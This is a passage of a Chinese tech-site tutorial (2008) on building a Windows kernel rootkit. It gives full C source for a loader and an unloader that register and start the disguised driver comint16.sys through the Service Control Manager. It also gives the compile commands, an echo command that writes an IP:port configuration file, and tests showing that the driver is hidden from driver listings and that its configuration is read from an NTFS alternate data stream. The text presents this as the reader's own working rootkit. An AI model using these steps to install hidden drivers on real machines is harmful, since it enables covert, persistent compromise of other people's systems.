科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道Rootkit隐形技术入门

Rootkit隐形技术入门

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

作者:宇文 来源:51CTO.com 2008年10月10日

关键字: 攻击防范 Rootkit隐形 rootkit 黑客

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

  五、rootkit的安装

  对于应用程序来说,加载和执行是同时进行的;与此不同,设备驱动程序的加载和启动是截然不同的两个步骤。这种分步处理的方式,使得驱动程序可以在操作系统引导过程中就提前载入,但直至将来需要时才启动它们——有时候倒有些“起个大早,赶个晚集”的意味。如果需要,我们还可以利用注册表项让系统每次引导时都加载指定的驱动程序,甚而启动它们。

  虽然现实中的rootkit在引导过程中装入就不再卸载,但在设备驱动程序开发过程中,利用能够随时装卸rootkit的“请求式启动”加载技术能带来极大的便利。这样的话,不必重新引导系统就可以重复终止、卸载、重新编译、重装入和重启动驱动程序。就本例而言,SCMLoader程序利用服务控制管理器将comint16.sys装入内核空间;可以利用“net start MyDeviceDriver”命令启动该驱动程序,也可以利用“net stop MyDeviceDriver”命令停止该驱动程序的运行;最后,SCMUnloader程序利用服务控制管理器将comint16.sys从内核空间卸载。

  为简单起见,我们使用一个小巧的可执行文件来安装rootkit。该程序只需要打开服务控制管理器,然后加载一个内核设备驱动程序就可以了。  

  //SCMLoader.c

  //本程序用于加载c:\comint16.sys

  #include

  #include

  #include

  void main( int argc, char *argv[ ] )

  {

  SC_HANDLE sh1;

  SC_HANDLE sh2;

  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );

  if ( !sh1 )

  {

  printf( "OpenSCManager Failed!\n" );

  return;

  }

  sh2 = CreateService( sh1,

  "MyDeviceDriver",

  "MyDeviceDriver",

  SERVICE_ALL_ACCESS,

  SERVICE_KERNEL_DRIVER,

  SERVICE_DEMAND_START,

  SERVICE_ERROR_NORMAL,

  "c:\\comint16.sys",

  NULL,

  NULL,

  NULL,

  NULL,

  NULL );

  if ( !sh2 )

  {

  if ( GetLastError() == ERROR_SERVICE_EXISTS )

  printf("DeviceDriver already loaded!\n");

  else

  printf("CreateService Failed!\n");

  }

  else

  {

  printf("\nDriver loaded!\n");

  }

  }

  在了解内核模式编程之后,是不是觉得这个“用户模式”程序看起来简单多了。因为我们能将驱动程序的位置作为传递参数自由添加,所以就不必为每个新rootkit都重新编译此安装工具了。简单是更重要的,鉴于此,我们将rootkit的名字硬编码进该程序。

  如果你具有可用的编译环境,你可以打开命令提示符窗口,然后在此窗口中编译SCMLoader。一旦配置好了开发环境,导航至存放SCMLoader.c的目录,键入下列命令就可SCMLoader以开始编译:  

  cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib

  如果以上命令未能成功编译SCMLoader.exe,那么你可能需要调整您的开发环境。大多数的开发环境问题可以通过VCVARS32.BAT加以解决。如果在您的C/C++编译程序安装目录(通常位于C:\Program Files)下搜索的话,你会发现一个VCVARS32.BAT文件。这个文件用来配置某个编译程序的命令提示符窗口。如果将该文件复制到你的rootkit目录,并于编译之前执行该文件的话,大部分编译程序的问题都会迎刃而解。

  如果运行VCVARS32.BAT后问题依旧,或您没有找到该文件,那么您就得逐个查看编译和连接错误来确定问题到底出在哪里。以“Can't find”打头的错误可能牵扯到全局性的LIB和INCLUDE环境变量(例如, “Can’t find xxx.lib = LIB”和“Can ’t find xxx.h=INCLUDE ”。您可以在C/C++编译程序的安装目录中搜寻未找到的文件,一旦发现,修改环境变量(LIB 和INCLUDE )以包含这些文件的所在路径。

  要修改环境变量,左键单击屏幕左下角的“开始”按钮,然后从弹出菜单中右键单击“我的电脑”,在弹出列表中选取“属性”。在“属性”对话框中,选择“高级”选项卡,然后选择该选项卡中的“环境变量”按钮。你会发现,LIB和INCLUDE这两个变量位于用户变量或者系统变量中。要修改环境变量,双击它,然后加入找到的文件的所在路径。一定记住,所有路径条目都要用分号隔开。添加好所有路径之后,单击“确定”按钮关闭窗口,并保存新设置。要使改变生效,必须将所有已打开的命令提示符窗口关闭,然后再打开方可。成功编译一回后,可以把编译命令放到一个批处理文件中,如buildSCMLoader.bat。

  经过以上几步后,你也许已经注意到在加载rootkit之前还有一步要做:你必须建立一个配置文件。当然,除了将其藏在一个交换数据流中之外,rootkit根本就没有用到什么配置,但是对于加载来说这一项是必需的。

  您可以从DOS命令提示符窗口中用命令“echo 123.456.789.012:01234 >c:\config16”来创建所需的配置文件。或者使用您自己IP地址和80端口(例如, 127.000.000.001:00080)为跟踪rootkits做好准备。无论如何,格式必须一致。当前的Invisible还不能处理诸如“127.0.0.1:80”之类的非格式化IP/端口字符串。装载程序编译好,并且建立了配置文件之后,要做的全部就是把该rootkit移至c:\comint16.sys,运行SCMLoader,用命令“net start MyDeviceDriver”启动我们的rootkit。如果一切正常的话,我们会看到输出“Driver loaded!”。若已打开DebugView,你还会看到来自于rootkit即comint16的调试命令。

  很好!现在,您自己的rootkit已经装入并运行起来了。

  加载器SCMLoader创建了一个注册表项,从而使您的rootkit会在系统下次引导时再次被加载。幸运的是,rootkit用“按需启动”选项进行初始化,所以它不会立即启动。相反,只有键入“net start MyDeviceDriver ”命令后,该rootkit才会启动。您可以通过删除文件c:\comint16.sys或者通过删除注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyDeviceDriver\MyDeviceDriver来停止加载该rootkit。然而,你可能不想每次修改该rootkit之后都要删除文件或者注册表项然后重新引导系统,为此你还需要一个卸载程序。以下代码和对应的编译命令可用于建立一个SCMUnloader。SCMLoader、SCMUnloader程序以及“net start MyDeviceDriver”、“net stop MyDeviceDriver”命令可通用于不同的comint16版本。 另外,要记住的是您可以在读取config16之后将其删除;rootkit将寻找交换数据流SCMUnloader.c  

  //SCMUnloader.c

  //本程序用于卸载c:\comint16.sys

  #include

  #include

  #include

  void main( int argc, char *argv[ ] )

  {

  SC_HANDLE sh1;

  SC_HANDLE sh2;

  SERVICE_STATUS ss;

  sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );

  if ( !sh1 )

  {

  printf( "OpenSCManager Failed!\n" );

  return;

  }

  sh2 = OpenService(sh1,

  "MyDeviceDriver",

  SERVICE_ALL_ACCESS );

  if ( !sh2 )

  {

  printf("OpenService Failed!\n");

  CloseServiceHandle( sh1 );

  exit(1);

  }

  ControlService( sh2, SERVICE_CONTROL_STOP, &ss );

  if ( !DeleteService( sh2 ) )

  printf("Could not unload MyDeviceDriver!\n");

  else

  printf("Unloaded MyDeviceDriver.\n");

  CloseServiceHandle( sh2 );

  CloseServiceHandle( sh1 );

  }

  六、测试我们的rootkit

  经过一番努力,我们以经可以通过编程的方式,实现了对rookit的操控,如加载、卸载、启动和终止。现在,我们要对各种操作进行检验,看看它们是否工作正常。

  在进行第一项测试之时,需要使用某个系统管工具来列出当前运行在系统上的所有活动的设备驱动程序,我们这里使用的是常见的drivers.exe。大多数Microsoft操作系统的资源包和驱动程序开发包都带有该工具。运行该程序无需参数,运行后会列出所有正在运行的设备驱动程序。加载并启动MyDeviceDriver后,在当前运行的设备驱动程序列表中找不到comint16.sys项,说明它已经成功的隐藏起来了。

  第二项测试是验证添加到C:\Windows\Resources文件上的交换数据流。为此,删除C:\config16,然后终止并重新启动MyDeviceDriver。因为config16已不复存在,所以rootkit必须从交换数据流检索配置信息,我们可以借助DebugView工具进行验证。调试输出将表明初始的GetFile()失败,因为它试图读取C:\config16,而此时该文件已被删除。之后的调试输出表明“Reading config from hidden file.”。然后显示从ADS读取的IP与端口信息。

  七、总结

  好了,忙活了半天,我们终于鼓捣出了一个初步的rootkit。看看我们的成果,我们的rootkit采用内核驱动程序作为框架,所以它运行于内核级——目前的绝大部分内核级rootkit都采用这种结构;它实现了设备驱动程序入口及其配置文件的隐形。俗话说的好,头三脚难踢,但我们的第一脚已经踢出去了。

  但话又说回来,与一些高级的rootkit相比,我们的rootkit确实显得嫩了些,比如它的功能仅限于对操作系统隐藏其配置文件和设备驱动程序入口;要实现真正的隐形,要藏的东西还很多,如文件、目录、驱动程序、进程与注册表项等等。此外,我们的藏身手法也算不得高明,例如:使用服务控制管理器注册该rootkit时,会创建一个注册表项,要紧的是,只要是个注册表编辑器就能找到该注册表项;Invisible使用“comint16”这个具有迷惑性的名称来隐瞒其真实身份,但是这种伎俩太小儿科,我们需要更高级的技术。为了实现真正的隐形,还有许多事情要做,我们将在后续文章中陆续加以介绍。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章